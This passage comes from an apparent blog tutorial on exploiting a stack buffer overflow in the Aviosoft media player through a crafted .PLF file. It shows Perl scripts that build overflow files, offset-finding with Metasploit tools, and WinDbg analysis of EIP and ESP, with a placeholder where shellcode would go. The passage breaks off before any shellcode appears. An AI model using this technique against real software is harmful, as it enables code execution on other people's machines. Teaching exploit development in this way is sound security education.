&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr7oypVW2xjPhJ2LgubMdtEMJ6Pyphk68pEbFkqc90kwE_idpgRnixKTUBxvfbX6K0bWgLYzeJW3GjyAQ0eQUo1n3iOX9FFYxmv2JXyllJIkIQrkYxyo1SIlcsNZIkTleYfg-SmltmtZc/s1600/stack18.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr7oypVW2xjPhJ2LgubMdtEMJ6Pyphk68pEbFkqc90kwE_idpgRnixKTUBxvfbX6K0bWgLYzeJW3GjyAQ0eQUo1n3iOX9FFYxmv2JXyllJIkIQrkYxyo1SIlcsNZIkTleYfg-SmltmtZc/s400/stack18.png&quot; height=&quot;241&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And we see the application has crashed throwing the exception and debugger is in control of the program as it catches the exception .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr1mZENmX6S6ygLbDI7kXRjOsL8cMQOOZnaVqD9w1Lz7FpbybqUi-8aEW-zr9cexAtpHJhzhQrADRoirauhr4lZYxVrQJ5imSLM3tHLzjGX8sIxoE53ZaBySLrO1R4Gm-tP_2QNulAqn4/s1600/stack20.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr1mZENmX6S6ygLbDI7kXRjOsL8cMQOOZnaVqD9w1Lz7FpbybqUi-8aEW-zr9cexAtpHJhzhQrADRoirauhr4lZYxVrQJ5imSLM3tHLzjGX8sIxoE53ZaBySLrO1R4Gm-tP_2QNulAqn4/s400/stack20.png&quot; height=&quot;173&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
If we take a look the crash in Windbg , it will look like this :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-XvehSJh26CbOxuIMzCSwItI9zdL_bmXUGGrgpuJ4dvAtfR3sy8y96R4juzfasGMHp6kmtTmFlP5LFOAWK0-up0MVNxZNJuG24W4MMii93ONpQv6NY2W_srF_F3IIdCOR0Bzj5D2pH_k/s1600/stack21.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-XvehSJh26CbOxuIMzCSwItI9zdL_bmXUGGrgpuJ4dvAtfR3sy8y96R4juzfasGMHp6kmtTmFlP5LFOAWK0-up0MVNxZNJuG24W4MMii93ONpQv6NY2W_srF_F3IIdCOR0Bzj5D2pH_k/s400/stack21.png&quot; height=&quot;165&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
At this point , application throwed the &quot;Access violation&quot; exception which is being caught and reported by the debugger because application couldn&#39;t read the memory at location 0x41414141 . It read our .PLF file into the buffer and because it did not check on the number of bytes that it read on the stack , it overwrote the application&#39;s stack with the junk data ( several 0x41s in this case ) which has ultimately gone and overwrote the Instruction pointer ( EIP register ) . If you observe the stack pointer , ESP has 0x0012F274 which also points at an offset in our supplied buffer of junk data.&lt;br /&gt;
&lt;br /&gt;
Another point worth noticing over here is that before trying the file with 500 bytes of data , I also tried with 100 and 200 bytes of data but the application did not crash . This effectively means that the application will die if we supply the file which contains somewhere between 200 to 500 bytes of data. This information will eventually help us to figure out the exact offset in our buffer at which the Instruction pointer is overwritten.&lt;br /&gt;
&lt;br /&gt;
We need to be aware that not every application crash is exploitable though . It may be just a denial of service , but in lot of cases it is . Our goal here is to utilize this crash and make the application do something which it is not intended to. We will look to redirect the execution flow of the application to execute the code that we want . To achieve this , primarily information that we need to have is : The exact offset at which the Instruction pointer is overwritten . This is the basic requirement for controlling the execution flow of the program . If we are able to figure this out , we can overwrite the EIP , exactly at that offset , with the usable memory address that contains the instruction which can help us Jump to our code.&lt;br /&gt;
&lt;br /&gt;
In the previous tutorial , we knew the exact size of our buffer and we could easily guess the offset at which the EIP should be overwritten but in this case , we have no information on the size of buffer . Also , the overflowed stack has all &quot;A&quot;s at the moment. It is not going to be easy to figure out the offset , &amp;nbsp;until we break the buffer down to multiple pieces to get the better idea .&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Determining the buffer size and exact offset to overwrite the Instruction pointer&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
We will modify the perl script to break the buffer into smaller portion and each portion will contain the different set of bytes and then we&#39;ll append them to create larger one :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_1=&quot;A&quot; x 250;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_2=&quot;B&quot; x 150;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer = $buffer_1 . $buffer_2;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with&quot; . length($buffer) . &quot;bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
We attach the software to the debugger again and load the .PLF file created with above exploit.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmii1tx1rmZuUdVFPxTFOqE3bEXDEdlt-S89n8y8HOi-3WwCR1nsuQEDCSegd-k-JOYaelv6zocCa32Ik2-SD6bO4SrEs60TeRGKQUAhf13kHQhkfX1kkkk7y3CjqJqQJicOkYaN6MVAI/s1600/stack22.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmii1tx1rmZuUdVFPxTFOqE3bEXDEdlt-S89n8y8HOi-3WwCR1nsuQEDCSegd-k-JOYaelv6zocCa32Ik2-SD6bO4SrEs60TeRGKQUAhf13kHQhkfX1kkkk7y3CjqJqQJicOkYaN6MVAI/s400/stack22.png&quot; height=&quot;140&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
This time , we supplied 400 bytes of data with two different sets of byte patterns and the application still crashed with EIP &amp;nbsp;overwritten with 0x42424242. Now we are sure that buffer size is somewhere between 250 and 400 bytes . i.e the offset to overwrite the EIP should be between 250 to 400 bytes . We still narrow down the gap with little modification to the script as below :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_1=&quot;A&quot; x 250;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_2=&quot;B&quot; x 50;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer = $buffer_1 . $buffer_2;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with&quot; . length($buffer) . &quot;bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
And the result is the crash with EIP : 0x42424242 . We now have much better visibility . Our offset should be within 250 to 300 bytes . Will little more similar experiments , I eventually &amp;nbsp;figured out that the offset at which the EIP is written is 260 bytes within our buffer. Crash in Windbg will look like this :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu7IJaAdQNOvPLXxWTVtpLTF7AbqhXtTLmMG72asyK7NhP_2wKEmtz1T-TpwIIf7hQD7-AhdKeWkvCvfv3T5lU4zN5CWlbo8ElJtpaLVPTqVjl4p2U4L_P6tMLTjIkLuogF3AsfMqO5PA/s1600/stack23.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu7IJaAdQNOvPLXxWTVtpLTF7AbqhXtTLmMG72asyK7NhP_2wKEmtz1T-TpwIIf7hQD7-AhdKeWkvCvfv3T5lU4zN5CWlbo8ElJtpaLVPTqVjl4p2U4L_P6tMLTjIkLuogF3AsfMqO5PA/s400/stack23.png&quot; height=&quot;197&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ESP contains 0x0012F274 as we noticed before and if we dump the contents of the stack we will see the ESP pointing to the portion of our supplied buffer of Bs ( Hex 0x42 ) :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQCHJfYYaiRrl2-4_FdkRTbRPuiZfhhTOiq0yECAlD6ubi9j9Fermg6cIB-CxzMx1LbtSb8OPfUkKUwixSxIdfAb9u-GD-w6mCBpsQYDydDeGavNyH_HlHPNyEe2C2lGBqws5Ch_yjBG8/s1600/stack24.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQCHJfYYaiRrl2-4_FdkRTbRPuiZfhhTOiq0yECAlD6ubi9j9Fermg6cIB-CxzMx1LbtSb8OPfUkKUwixSxIdfAb9u-GD-w6mCBpsQYDydDeGavNyH_HlHPNyEe2C2lGBqws5Ch_yjBG8/s400/stack24.png&quot; height=&quot;128&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This was little time consuming since we had to make several guesses to come out with the correct offset . We have another better and a direct way to do this .We can determine the correct offset right at the first shot using the Metasploit &amp;nbsp;&quot; pattern_create.rb&quot; and &quot; pattern_offset.rb&quot; tools .. pattern_create.rb is supplied with buffer size as an argument and it will generate the unique pattern of strings . We can use that string in our exploit and we&#39;ll be able to figure out the exact offset right at the first attempt . On Backtrack 5 , you need to go to the /opt/metasploit/msf3/tools directory and run the pattern_create.rb with the size of the string to output :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgbuSWWWGBrFhW7Zuc5SG8zDcJOqKjbfJKiHIKoWQgdegMXG5XMiErfiJidKd9Vih9D-J1h4FyZ-S8cC1ffpU1km8pM5tbwNXXMFIoc7PZXSHx1-WM6EnXkguAmAPw5hilNDbpYAnyFr4/s1600/stack25.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgbuSWWWGBrFhW7Zuc5SG8zDcJOqKjbfJKiHIKoWQgdegMXG5XMiErfiJidKd9Vih9D-J1h4FyZ-S8cC1ffpU1km8pM5tbwNXXMFIoc7PZXSHx1-WM6EnXkguAmAPw5hilNDbpYAnyFr4/s400/stack25.png&quot; height=&quot;81&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can use this generated pattern in our exploit :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer=&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with&quot; . &amp;nbsp;length($buffer) &amp;nbsp;. &quot;bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
We load the application again in the debugger , launch the exploit and this is what we&#39;ll see again.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMuy4QlRDZQCocu_4Spern5hLDWafCVqQW3IBoq6YmL-DKsdclE2xSQL9vQvscoofpKlYb7BdU3ETEVSDTunbvDk8KyAnQpkKXuEOFaKMKJKI1S14tD9AHIbLfkMvRMf7VlsOtROh9cTY/s1600/stack26.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMuy4QlRDZQCocu_4Spern5hLDWafCVqQW3IBoq6YmL-DKsdclE2xSQL9vQvscoofpKlYb7BdU3ETEVSDTunbvDk8KyAnQpkKXuEOFaKMKJKI1S14tD9AHIbLfkMvRMf7VlsOtROh9cTY/s400/stack26.png&quot; height=&quot;122&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Instruction pointer now has 0x37694136 . Recall the concept of little endian Vs big endian we discussed in the previous part. The fact is EIP is overwritten with 0x36416937 since the Intel processors stores the data in the memory in little endian format. We now have the unique string with us to search for in the buffer and we can determine the offset with metasploit &quot;pattern_offset.rb &quot; tool .&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj34bYRfhLX7x4uZ4XITyw8EId_p8s6y676t-EMTumhVXUGQJGc1FcFIezwpj6yv4f9KTlQhwzKw7YTeLe4dkkBCrCcS9lIsMmni60yw6FDfhOvisdkXK3_JXPG2hSf7SsGorBZc6QAf70/s1600/stack27.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj34bYRfhLX7x4uZ4XITyw8EId_p8s6y676t-EMTumhVXUGQJGc1FcFIezwpj6yv4f9KTlQhwzKw7YTeLe4dkkBCrCcS9lIsMmni60yw6FDfhOvisdkXK3_JXPG2hSf7SsGorBZc6QAf70/s400/stack27.png&quot; height=&quot;182&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By now , we should be able to clearly understand the fact that the exact buffer size we need to overwrite the EIP is 260 . Another thing that we need to figure out is the offset at which the ESP is pointing to our buffer . By doing this , we would exactly know where to place our shellcode on the stack . If we observe the stack in Windbg , that is what we have :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEQgHkozzTq7zXppeWoGO2RFYUa2PrlgnJAh5eUKv_YMz9bL3mmoWPuQygCJGjrExaKpQCAXV-Bt45kZ52RAYwFOKZ7-YLlyASNNDySfNws4_LoilM_iRy34J5s1tv4dWbUJijmOpl7XI/s1600/stack28.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEQgHkozzTq7zXppeWoGO2RFYUa2PrlgnJAh5eUKv_YMz9bL3mmoWPuQygCJGjrExaKpQCAXV-Bt45kZ52RAYwFOKZ7-YLlyASNNDySfNws4_LoilM_iRy34J5s1tv4dWbUJijmOpl7XI/s400/stack28.png&quot; height=&quot;198&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ESP , at this point has 0x0012F274 which is pointing to the part of our buffer . I dumped the stack at this address and the value is 0x6A33416A ..We will again use the metasploit pattern_offset.rb tool to determine the exact offset in our buffer pointed by ESP . Again , remember the fact that the data is stored in the little endian format . so we need to search for 0x6A41336A while using the metasploit tool . I ran patter_offset.rb &amp;nbsp;and here is the offset I found on my system :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDEnlZjf3CbBA-RNSbw5wBJaSzTxCeUmaPsBIT5yw92Ed6yUZA7bSF-Hl1u95P_MeqFQ61sSL7yy-xJ7Ob7dTZE8-X1tQ-04bFFLPKwlbdaAXHoBihIbp3H2C3aHWBPpRtNzuEPQcyVq4/s1600/stack29.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDEnlZjf3CbBA-RNSbw5wBJaSzTxCeUmaPsBIT5yw92Ed6yUZA7bSF-Hl1u95P_MeqFQ61sSL7yy-xJ7Ob7dTZE8-X1tQ-04bFFLPKwlbdaAXHoBihIbp3H2C3aHWBPpRtNzuEPQcyVq4/s400/stack29.png&quot; height=&quot;166&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ah Wow !! ..With all the previous excercise that we did , we now have information about two very critical things :&lt;br /&gt;
&lt;br /&gt;
1 . We know that the buffer size is exactly 260 bytes before EIP is overwritten . This translates to the fact that , at this offset , we can overwrite the return address with something useful. We&#39;ll see that in a moment.&lt;br /&gt;
2 . Another info we have at this point is : &amp;nbsp;ESP is pointing at an offset 280 in our buffer. We will use this fact to place our shellcode and finally make the program jump to it to execute that code. We&#39;ll see that too in a moment .&lt;br /&gt;
&lt;br /&gt;
Before we go ahead , let&#39;s do a final verification on this info . I&#39;ll craft the buffer in the following way :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $file= &quot;Aviosoft_exploit.plf&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_1=&quot;A&quot; x 260; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_2=&quot;B&quot; x 4; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_3=&quot;C&#39; x 16;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer_4=&quot;Our Shellcode is here&quot;;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;open($FILE,&quot;&amp;gt;$file&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print $FILE &amp;nbsp;$buffer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;print &quot;PLF File Created successfully with &quot; . length($buffer) . &quot; bytes of data\n&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffe599;&quot;&gt;close($FILE);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We are expecting two things out of this exploit :&lt;br /&gt;
&lt;br /&gt;
1 . EIP should have the value 0x42424242 . we crafted the buffer with 260 bytes of &quot;A&quot; and then 4 bytes of &quot;B&quot; with which EIP should be written.&lt;br /&gt;
2 . ESP should point to the string &quot;Our Shellcode is here&quot; on the stack . This is where we will place our shellcode to execute .&lt;br /&gt;
&lt;br /&gt;
I launched the exploit in Windbg and here is what I saw:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinZyu7Y181pteI-Eeg5E21sgIrkS9m0iWX4gSOJKyWzFGxJ-S8WbmCluNWv5Wx-2l4lne2pPyEtNRlF9B_SRZVTPuXhXix8FrYW1ytlpQtnb1pRwqWHECkLzcXpn4GLt0aQ508XwZdTpU/s1600/stack30.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinZyu7Y181pteI-Eeg5E21sgIrkS9m0iWX4gSOJKyWzFGxJ-S8WbmCluNWv5Wx-2l4lne2pPyEtNRlF9B_SRZVTPuXhXix8FrYW1ytlpQtnb1pRwqWHECkLzcXpn4GLt0aQ508XwZdTpU/s400/stack30.png&quot; height=&quot;195&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
Wow !!..This is what we exactly wanted..we got the access violation and EIP has the value 0x42424242 and ESP is pointing to our string as we expected. Now think about this &amp;nbsp;: &amp;nbsp;At this location , if we place our shellcode ( i.e the code that we want this application to execute ) and if we overwrite the EIP with the address to the instruction that can jump to our shellcode , we are done !! .&lt;br /&gt;
&lt;br /&gt;
Important point to remember here is that when the application crashes , we need to see if EIP written with the supplied buffer..If it is , we can control EIP with the value that we want . Next , we need to see all the registers and check which one them is pointing to the portion of our buffer . In this case it was ESP but it could be EAX , EBX or other register . Once we have both of these , all we need to do is overwrite the EIP with the address of the instruction that can jump to our shellcode and over !! ..However , stack overflows are not always that easy ..There are few things that we need to take care of above this : Bad characters , Null bytes in shellcode , available limited &amp;nbsp;buffer space to host our shellcode etc. We&#39;ll come to these topics and see how to overcome them ..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;How much memory space do you have to host your shellcode ?&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
This is another question that we need to get the answer for. This will help us figuring out how long our shellcode can be . Assume that the code we want the application to execute , &amp;nbsp;becomes too large to fit into the limited buffer size , then we may need to reduce its size so that it can fit itself or we need to look some for other alternatives. Let&#39;s try and determine how much buffer space we have in this case . This will exactly help us gain the visibility on how large our shellcode can be . I did slight modification in the script :&lt;br /&gt;
